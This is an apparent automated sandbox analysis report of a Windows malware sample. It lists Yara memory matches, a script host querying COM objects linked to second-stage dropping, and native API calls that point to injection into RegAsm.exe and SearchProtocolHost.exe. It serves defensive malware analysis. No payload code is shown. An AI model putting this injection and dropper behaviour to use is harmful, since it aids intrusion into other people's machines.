Source: Yara match	File source: 00000003.00000002.1575092395.0000000001680000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1575820816.0000000006400000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

System Summary

Source: temp_u8gpg.exe.0.dr, R-7qnKyuM-zCezj-AWZH-piI-.cs

Long String: Length: 387084

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe	COM Object queried: ADODB.Stream HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{00000566-0000-0010-8000-00AA006D2EA4}			Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0042CE33 NtClose,	3_2_0042CE33
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F235C0 NtCreateMutant,LdrInitializeThunk,	3_2_02F235C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F22B60 NtClose,LdrInitializeThunk,	3_2_02F22B60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F22C70 NtFreeVirtualMemory,LdrInitializeThunk,	3_2_02F22C70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F22DF0 NtQuerySystemInformation,LdrInitializeThunk,	3_2_02F22DF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F24340 NtSetContextThread,	3_2_02F24340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F23090 NtSetValueKey,	3_2_02F23090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F23010 NtOpenDirectoryObject,	3_2_02F23010
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F24650 NtSuspendThread,	3_2_02F24650
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F22AF0 NtWriteFile,	3_2_02F22AF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F22AD0 NtReadFile,	3_2_02F22AD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F22AB0 NtWaitForSingleObject,	3_2_02F22AB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F22BF0 NtAllocateVirtualMemory,	3_2_02F22BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F22BE0 NtQueryValueKey,	3_2_02F22BE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F22BA0 NtEnumerateValueKey,	3_2_02F22BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F22B80 NtQueryInformationFile,	3_2_02F22B80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F239B0 NtGetContextThread,	3_2_02F239B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F22EE0 NtQueueApcThread,	3_2_02F22EE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F22EA0 NtAdjustPrivilegesToken,	3_2_02F22EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F22E80 NtReadVirtualMemory,	3_2_02F22E80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F22E30 NtWriteVirtualMemory,	3_2_02F22E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F22FE0 NtCreateFile,	3_2_02F22FE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F22FB0 NtResumeThread,	3_2_02F22FB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F22FA0 NtQuerySection,	3_2_02F22FA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F22F90 NtProtectVirtualMemory,	3_2_02F22F90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F22F60 NtCreateProcessEx,	3_2_02F22F60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F22F30 NtCreateSection,	3_2_02F22F30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F22CF0 NtOpenProcess,	3_2_02F22CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F22CC0 NtQueryVirtualMemory,	3_2_02F22CC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F22CA0 NtQueryInformationToken,	3_2_02F22CA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F22C60 NtCreateKey,	3_2_02F22C60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F22C00 NtQueryInformationProcess,	3_2_02F22C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F22DD0 NtDelayExecution,	3_2_02F22DD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F22DB0 NtEnumerateKey,	3_2_02F22DB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F23D70 NtOpenThread,	3_2_02F23D70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F22D30 NtUnmapViewOfSection,	3_2_02F22D30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F22D10 NtMapViewOfSection,	3_2_02F22D10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F23D10 NtOpenProcessToken,	3_2_02F23D10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F22D00 NtSetInformationFile,	3_2_02F22D00
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036E4340 NtSetContextThread,LdrInitializeThunk,	6_2_036E4340
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036E4650 NtSuspendThread,LdrInitializeThunk,	6_2_036E4650
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036E35C0 NtCreateMutant,LdrInitializeThunk,	6_2_036E35C0
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036E2B60 NtClose,LdrInitializeThunk,	6_2_036E2B60
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036E2BE0 NtQueryValueKey,LdrInitializeThunk,	6_2_036E2BE0
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036E2BF0 NtAllocateVirtualMemory,LdrInitializeThunk,	6_2_036E2BF0
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036E2BA0 NtEnumerateValueKey,LdrInitializeThunk,	6_2_036E2BA0
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036E2AF0 NtWriteFile,LdrInitializeThunk,	6_2_036E2AF0
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036E2AD0 NtReadFile,LdrInitializeThunk,	6_2_036E2AD0
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036E39B0 NtGetContextThread,LdrInitializeThunk,	6_2_036E39B0
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036E2F30 NtCreateSection,LdrInitializeThunk,	6_2_036E2F30
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036E2FE0 NtCreateFile,LdrInitializeThunk,	6_2_036E2FE0
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036E2FB0 NtResumeThread,LdrInitializeThunk,	6_2_036E2FB0
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036E2EE0 NtQueueApcThread,LdrInitializeThunk,	6_2_036E2EE0
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036E2E80 NtReadVirtualMemory,LdrInitializeThunk,	6_2_036E2E80
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036E2D30 NtUnmapViewOfSection,LdrInitializeThunk,	6_2_036E2D30
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036E2D10 NtMapViewOfSection,LdrInitializeThunk,	6_2_036E2D10
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036E2DF0 NtQuerySystemInformation,LdrInitializeThunk,	6_2_036E2DF0
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036E2DD0 NtDelayExecution,LdrInitializeThunk,	6_2_036E2DD0
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036E2C60 NtCreateKey,LdrInitializeThunk,	6_2_036E2C60
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036E2C70 NtFreeVirtualMemory,LdrInitializeThunk,	6_2_036E2C70
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036E2CA0 NtQueryInformationToken,LdrInitializeThunk,	6_2_036E2CA0
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036E3010 NtOpenDirectoryObject,	6_2_036E3010
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036E3090 NtSetValueKey,	6_2_036E3090
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036E2B80 NtQueryInformationFile,	6_2_036E2B80
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036E2AB0 NtWaitForSingleObject,	6_2_036E2AB0
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036E2F60 NtCreateProcessEx,	6_2_036E2F60
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036E2FA0 NtQuerySection,	6_2_036E2FA0
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036E2F90 NtProtectVirtualMemory,	6_2_036E2F90
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036E2E30 NtWriteVirtualMemory,	6_2_036E2E30
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036E2EA0 NtAdjustPrivilegesToken,	6_2_036E2EA0
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036E3D70 NtOpenThread,	6_2_036E3D70
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036E2D00 NtSetInformationFile,	6_2_036E2D00
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036E3D10 NtOpenProcessToken,	6_2_036E3D10
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036E2DB0 NtEnumerateKey,	6_2_036E2DB0
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036E2C00 NtQueryInformationProcess,	6_2_036E2C00
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036E2CF0 NtOpenProcess,	6_2_036E2CF0
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036E2CC0 NtQueryVirtualMemory,	6_2_036E2CC0
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_02E596C0 NtCreateFile,	6_2_02E596C0
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_02E59B10 NtAllocateVirtualMemory,	6_2_02E59B10
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_02E59820 NtReadFile,	6_2_02E59820
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_02E599B0 NtClose,	6_2_02E599B0
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_02E59910 NtDeleteFile,	6_2_02E59910
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_0346F899 NtMapViewOfSection,	6_2_0346F899

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00418DC3	3_2_00418DC3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040E810	3_2_0040E810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040E813	3_2_0040E813
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00410833	3_2_00410833
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040E957	3_2_0040E957
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040E963	3_2_0040E963
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040290C	3_2_0040290C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00402910	3_2_00402910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00403200	3_2_00403200
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0042F443	3_2_0042F443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00402640	3_2_00402640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00410613	3_2_00410613
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00402633	3_2_00402633
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00416F7D	3_2_00416F7D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00416FC3	3_2_00416FC3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00416FBE	3_2_00416FBE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F912ED	3_2_02F912ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F0B2C0	3_2_02F0B2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF52A0	3_2_02EF52A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F90274	3_2_02F90274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02FB03E6	3_2_02FB03E6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EFE3F0	3_2_02EFE3F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F3739A	3_2_02F3739A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EDD34C	3_2_02EDD34C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02FAA352	3_2_02FAA352
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02FA132D	3_2_02FA132D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02FA70E9	3_2_02FA70E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02FAF0E0	3_2_02FAF0E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF70C0	3_2_02EF70C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F9F0CC	3_2_02F9F0CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02FA81CC	3_2_02FA81CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02FB01AA	3_2_02FB01AA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EFB1B0	3_2_02EFB1B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02FBB16B	3_2_02FBB16B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F2516C	3_2_02F2516C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EDF172	3_2_02EDF172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F78158	3_2_02F78158
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F8A118	3_2_02F8A118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EE0100	3_2_02EE0100
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F0C6E0	3_2_02F0C6E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02FA16CC	3_2_02FA16CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EEC7C0	3_2_02EEC7C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02FAF7B0	3_2_02FAF7B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF0770	3_2_02EF0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F14750	3_2_02F14750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F9E4F6	3_2_02F9E4F6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EE1460	3_2_02EE1460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02FA2446	3_2_02FA2446
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02FAF43F	3_2_02FAF43F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F8D5B0	3_2_02F8D5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02FB0591	3_2_02FB0591
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02FA7571	3_2_02FA7571
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF0535	3_2_02EF0535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F9DAC6	3_2_02F9DAC6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F35AA0	3_2_02F35AA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F8DAAC	3_2_02F8DAAC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EEEA80	3_2_02EEEA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F63A6C	3_2_02F63A6C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02FAFA49	3_2_02FAFA49
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02FA7A46	3_2_02FA7A46
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F65BF0	3_2_02F65BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F2DBF9	3_2_02F2DBF9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02FA6BD7	3_2_02FA6BD7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F0FB80	3_2_02F0FB80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02FAFB76	3_2_02FAFB76
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02FAAB40	3_2_02FAAB40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F1E8F0	3_2_02F1E8F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF38E0	3_2_02EF38E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02ED68B8	3_2_02ED68B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF2840	3_2_02EF2840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EFA840	3_2_02EFA840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F5D800	3_2_02F5D800
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF29A0	3_2_02EF29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02FBA9A6	3_2_02FBA9A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F06962	3_2_02F06962
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F0B950	3_2_02F0B950
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF9950	3_2_02EF9950
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02FAEEDB	3_2_02FAEEDB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF9EB0	3_2_02EF9EB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F02E90	3_2_02F02E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02FACE93	3_2_02FACE93
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF0E59	3_2_02EF0E59
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02FAEE26	3_2_02FAEE26
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EFCFE0	3_2_02EFCFE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EE2FC8	3_2_02EE2FC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02FAFFB1	3_2_02FAFFB1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF1F92	3_2_02EF1F92
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F64F40	3_2_02F64F40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F10F30	3_2_02F10F30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F32F28	3_2_02F32F28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02FAFF09	3_2_02FAFF09
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02FAFCF2	3_2_02FAFCF2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EE0CF2	3_2_02EE0CF2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F90CB5	3_2_02F90CB5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F69C32	3_2_02F69C32
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF0C00	3_2_02EF0C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EEADE0	3_2_02EEADE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F0FDC0	3_2_02F0FDC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F08DBF	3_2_02F08DBF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02FA7D73	3_2_02FA7D73
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02FA1D5A	3_2_02FA1D5A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF3D40	3_2_02EF3D40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EFAD00	3_2_02EFAD00
Source: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe	Code function: 5_2_057994D2	5_2_057994D2
Source: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe	Code function: 5_2_0579B545	5_2_0579B545
Source: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe	Code function: 5_2_05799522	5_2_05799522
Source: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe	Code function: 5_2_057994E9	5_2_057994E9
Source: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe	Code function: 5_2_057A1CD0	5_2_057A1CD0
Source: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe	Code function: 5_2_057A1CD5	5_2_057A1CD5
Source: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe	Code function: 5_2_057A1C8F	5_2_057A1C8F
Source: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe	Code function: 5_2_05799675	5_2_05799675
Source: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe	Code function: 5_2_05799669	5_2_05799669
Source: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe	Code function: 5_2_057BA155	5_2_057BA155
Source: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe	Code function: 5_2_0579B325	5_2_0579B325
Source: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe	Code function: 5_2_057A3ACD	5_2_057A3ACD
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_0376A352	6_2_0376A352
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_0369D34C	6_2_0369D34C
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_0376132D	6_2_0376132D
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_037703E6	6_2_037703E6
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036BE3F0	6_2_036BE3F0
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036F739A	6_2_036F739A
